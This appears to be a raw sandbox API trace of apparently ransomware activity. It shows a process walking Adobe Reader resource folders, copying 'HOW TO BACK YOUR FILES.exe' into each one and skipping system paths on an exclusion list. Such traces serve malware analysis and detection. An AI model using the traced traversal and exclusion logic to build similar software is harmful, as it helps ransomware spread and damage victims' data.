	[0056.832] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="ENUtxt.pdf" | out: lpString1="ENUtxt.pdf") returned="ENUtxt.pdf"
	[0056.832] lstrlenW (lpString="ENUtxt.pdf") returned 10
	[0056.832] lstrlenW (lpString="Apollon865") returned 10
	[0056.832] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="Font" | out: lpString1="Font") returned="Font"
	[0056.832] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7968
	[0056.832] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6e) returned 0x59a920
	[0056.832] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7970 | out: ListHead=0x5b76b0, ListEntry=0x5b7970) returned 0x5b7950
	[0056.832] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39f143b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x39f143b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0056.832] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0056.832] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dcf09c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1
	[0056.832] lstrcmpiW (lpString1="Linguistics", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0056.832] lstrcmpiW (lpString1="Linguistics", lpString2="Apollon865.txt.exe") returned 1
	[0056.832] lstrcmpiW (lpString1="Linguistics", lpString2=".") returned 1
	[0056.832] lstrcmpiW (lpString1="Linguistics", lpString2="..") returned 1
	[0056.832] lstrcmpiW (lpString1="Linguistics", lpString2="windows") returned -1
	[0056.832] lstrcmpiW (lpString1="Linguistics", lpString2="bootmgr") returned 1
	[0056.832] lstrcmpiW (lpString1="Linguistics", lpString2="temp") returned -1
	[0056.832] lstrcmpiW (lpString1="Linguistics", lpString2="pagefile.sys") returned -1
	[0056.832] lstrcmpiW (lpString1="Linguistics", lpString2="boot") returned 1
	[0056.833] lstrcmpiW (lpString1="Linguistics", lpString2="ids.txt") returned 1
	[0056.833] lstrcmpiW (lpString1="Linguistics", lpString2="ntuser.dat") returned -1
	[0056.833] lstrcmpiW (lpString1="Linguistics", lpString2="perflogs") returned -1
	[0056.833] lstrcmpiW (lpString1="Linguistics", lpString2="MSBuild") returned -1
	[0056.833] lstrlenW (lpString="Linguistics") returned 11
	[0056.833] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font") returned 54
	[0056.833] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="Linguistics" | out: lpString1="Linguistics") returned="Linguistics"
	[0056.833] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b68
	[0056.834] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7c) returned 0x5bf4e0
	[0056.834] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b70 | out: ListHead=0x5b76b0, ListEntry=0x5b7b70) returned 0x5b7970
	[0056.834] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d5bd20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d5bd20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SaslPrep", cAlternateFileName="")) returned 1
	[0056.834] lstrcmpiW (lpString1="SaslPrep", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0056.834] lstrcmpiW (lpString1="SaslPrep", lpString2="Apollon865.txt.exe") returned 1
	[0056.834] lstrcmpiW (lpString1="SaslPrep", lpString2=".") returned 1
	[0056.834] lstrcmpiW (lpString1="SaslPrep", lpString2="..") returned 1
	[0056.835] lstrcmpiW (lpString1="SaslPrep", lpString2="windows") returned -1
	[0056.835] lstrcmpiW (lpString1="SaslPrep", lpString2="bootmgr") returned 1
	[0056.835] lstrcmpiW (lpString1="SaslPrep", lpString2="temp") returned -1
	[0056.835] lstrcmpiW (lpString1="SaslPrep", lpString2="pagefile.sys") returned 1
	[0056.835] lstrcmpiW (lpString1="SaslPrep", lpString2="boot") returned 1
	[0056.835] lstrcmpiW (lpString1="SaslPrep", lpString2="ids.txt") returned 1
	[0056.835] lstrcmpiW (lpString1="SaslPrep", lpString2="ntuser.dat") returned 1
	[0056.835] lstrcmpiW (lpString1="SaslPrep", lpString2="perflogs") returned 1
	[0056.835] lstrcmpiW (lpString1="SaslPrep", lpString2="MSBuild") returned 1
	[0056.835] lstrlenW (lpString="SaslPrep") returned 8
	[0056.835] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics") returned 61
	[0056.835] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="SaslPrep" | out: lpString1="SaslPrep") returned="SaslPrep"
	[0056.835] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0056.835] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x76) returned 0x591740
	[0056.835] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7990 | out: ListHead=0x5b76b0, ListEntry=0x5b7990) returned 0x5b7b70
	[0056.835] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TypeSupport", cAlternateFileName="TYPESU~1")) returned 1
	[0056.835] lstrcmpiW (lpString1="TypeSupport", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0056.835] lstrcmpiW (lpString1="TypeSupport", lpString2="Apollon865.txt.exe") returned 1
	[0056.835] lstrcmpiW (lpString1="TypeSupport", lpString2=".") returned 1
	[0056.835] lstrcmpiW (lpString1="TypeSupport", lpString2="..") returned 1
	[0056.835] lstrcmpiW (lpString1="TypeSupport", lpString2="windows") returned -1
	[0056.835] lstrcmpiW (lpString1="TypeSupport", lpString2="bootmgr") returned 1
	[0056.835] lstrcmpiW (lpString1="TypeSupport", lpString2="temp") returned 1
	[0056.835] lstrcmpiW (lpString1="TypeSupport", lpString2="pagefile.sys") returned 1
	[0056.835] lstrcmpiW (lpString1="TypeSupport", lpString2="boot") returned 1
	[0056.835] lstrcmpiW (lpString1="TypeSupport", lpString2="ids.txt") returned 1
	[0056.835] lstrcmpiW (lpString1="TypeSupport", lpString2="ntuser.dat") returned 1
	[0056.835] lstrcmpiW (lpString1="TypeSupport", lpString2="perflogs") returned 1
	[0056.835] lstrcmpiW (lpString1="TypeSupport", lpString2="MSBuild") returned 1
	[0056.835] lstrlenW (lpString="TypeSupport") returned 11
	[0056.835] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep") returned 58
	[0056.835] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="TypeSupport" | out: lpString1="TypeSupport") returned="TypeSupport"
	[0056.836] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0056.836] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7c) returned 0x5bf788
	[0056.836] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b79b0 | out: ListHead=0x5b76b0, ListEntry=0x5b79b0) returned 0x5b7990
	[0056.836] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TypeSupport", cAlternateFileName="TYPESU~1")) returned 0
	[0056.836] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0056.836] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b79b0
	[0056.836] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport"
	[0056.836] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0056.836] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0056.836] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport") returned 61
	[0056.836] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport"
	[0056.836] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.836] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.842] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.842] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39f3a510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39f3a510, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.842] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.842] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.842] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0056.842] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39f3a510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39f3a510, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0056.842] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.842] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0056.842] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0056.842] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0056.842] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39f3a510, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x39f3a510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0056.842] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0056.842] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834dd660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Unicode", cAlternateFileName="")) returned 1
	[0056.842] lstrcmpiW (lpString1="Unicode", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0056.842] lstrcmpiW (lpString1="Unicode", lpString2="Apollon865.txt.exe") returned 1
	[0056.842] lstrcmpiW (lpString1="Unicode", lpString2=".") returned 1
	[0056.842] lstrcmpiW (lpString1="Unicode", lpString2="..") returned 1
	[0056.842] lstrcmpiW (lpString1="Unicode", lpString2="windows") returned -1
	[0056.842] lstrcmpiW (lpString1="Unicode", lpString2="bootmgr") returned 1
	[0056.843] lstrcmpiW (lpString1="Unicode", lpString2="temp") returned 1
	[0056.843] lstrcmpiW (lpString1="Unicode", lpString2="pagefile.sys") returned 1
	[0056.843] lstrcmpiW (lpString1="Unicode", lpString2="boot") returned 1
	[0056.843] lstrcmpiW (lpString1="Unicode", lpString2="ids.txt") returned 1
	[0056.843] lstrcmpiW (lpString1="Unicode", lpString2="ntuser.dat") returned 1
	[0056.843] lstrcmpiW (lpString1="Unicode", lpString2="perflogs") returned 1
	[0056.843] lstrcmpiW (lpString1="Unicode", lpString2="MSBuild") returned 1
	[0056.843] lstrlenW (lpString="Unicode") returned 7
	[0056.843] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\*") returned 63
	[0056.843] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="Unicode" | out: lpString1="Unicode") returned="Unicode"
	[0056.843] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0056.843] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8c) returned 0x5c8f30
	[0056.843] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b79b0 | out: ListHead=0x5b76b0, ListEntry=0x5b79b0) returned 0x5b7990
	[0056.843] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834dd660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Unicode", cAlternateFileName="")) returned 0
	[0056.843] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0056.843] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b79b0
	[0056.843] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode"
	[0056.843] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0056.843] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0056.843] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode") returned 69
	[0056.843] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode"
	[0056.843] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.843] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.847] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.847] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39f3a510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39f3a510, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.848] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.848] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.848] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0056.848] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39f3a510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39f3a510, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0056.848] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.848] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0056.848] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0056.848] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0056.848] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39f3a510, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x39f3a510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0056.848] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0056.848] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834dd660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x838234a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x838234a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ICU", cAlternateFileName="")) returned 1
	[0056.848] lstrcmpiW (lpString1="ICU", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0056.848] lstrcmpiW (lpString1="ICU", lpString2="Apollon865.txt.exe") returned 1
	[0056.848] lstrcmpiW (lpString1="ICU", lpString2=".") returned 1
	[0056.848] lstrcmpiW (lpString1="ICU", lpString2="..") returned 1
	[0056.848] lstrcmpiW (lpString1="ICU", lpString2="windows") returned -1
	[0056.848] lstrcmpiW (lpString1="ICU", lpString2="bootmgr") returned 1
	[0056.848] lstrcmpiW (lpString1="ICU", lpString2="temp") returned -1
	[0056.848] lstrcmpiW (lpString1="ICU", lpString2="pagefile.sys") returned -1
	[0056.848] lstrcmpiW (lpString1="ICU", lpString2="boot") returned 1
	[0056.848] lstrcmpiW (lpString1="ICU", lpString2="ids.txt") returned -1
	[0056.848] lstrcmpiW (lpString1="ICU", lpString2="ntuser.dat") returned -1
	[0056.848] lstrcmpiW (lpString1="ICU", lpString2="perflogs") returned -1
	[0056.848] lstrcmpiW (lpString1="ICU", lpString2="MSBuild") returned -1
	[0056.848] lstrlenW (lpString="ICU") returned 3
	[0056.848] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\*") returned 71
	[0056.849] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="ICU" | out: lpString1="ICU") returned="ICU"
	[0056.849] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0056.849] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x94) returned 0x5c8f30
	[0056.849] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b79b0 | out: ListHead=0x5b76b0, ListEntry=0x5b79b0) returned 0x5b7990
	[0056.849] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834450e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mappings", cAlternateFileName="")) returned 1
	[0056.849] lstrcmpiW (lpString1="Mappings", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0056.849] lstrcmpiW (lpString1="Mappings", lpString2="Apollon865.txt.exe") returned 1
	[0056.849] lstrcmpiW (lpString1="Mappings", lpString2=".") returned 1
	[0056.849] lstrcmpiW (lpString1="Mappings", lpString2="..") returned 1
	[0056.849] lstrcmpiW (lpString1="Mappings", lpString2="windows") returned -1
	[0056.849] lstrcmpiW (lpString1="Mappings", lpString2="bootmgr") returned 1
	[0056.849] lstrcmpiW (lpString1="Mappings", lpString2="temp") returned -1
	[0056.849] lstrcmpiW (lpString1="Mappings", lpString2="pagefile.sys") returned -1
	[0056.849] lstrcmpiW (lpString1="Mappings", lpString2="boot") returned 1
	[0056.849] lstrcmpiW (lpString1="Mappings", lpString2="ids.txt") returned 1
	[0056.849] lstrcmpiW (lpString1="Mappings", lpString2="ntuser.dat") returned -1
	[0056.849] lstrcmpiW (lpString1="Mappings", lpString2="perflogs") returned -1
	[0056.849] lstrcmpiW (lpString1="Mappings", lpString2="MSBuild") returned -1
	[0056.849] lstrlenW (lpString="Mappings") returned 8
	[0056.849] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU") returned 73
	[0056.849] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="Mappings" | out: lpString1="Mappings") returned="Mappings"
	[0056.849] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0056.849] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x9e) returned 0x599450
	[0056.849] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a50 | out: ListHead=0x5b76b0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0056.849] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834450e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mappings", cAlternateFileName="")) returned 0
	[0056.849] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0056.849] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a50
	[0056.849] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings"
	[0056.849] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0056.849] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0056.850] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings") returned 78
	[0056.850] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings"
	[0056.850] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
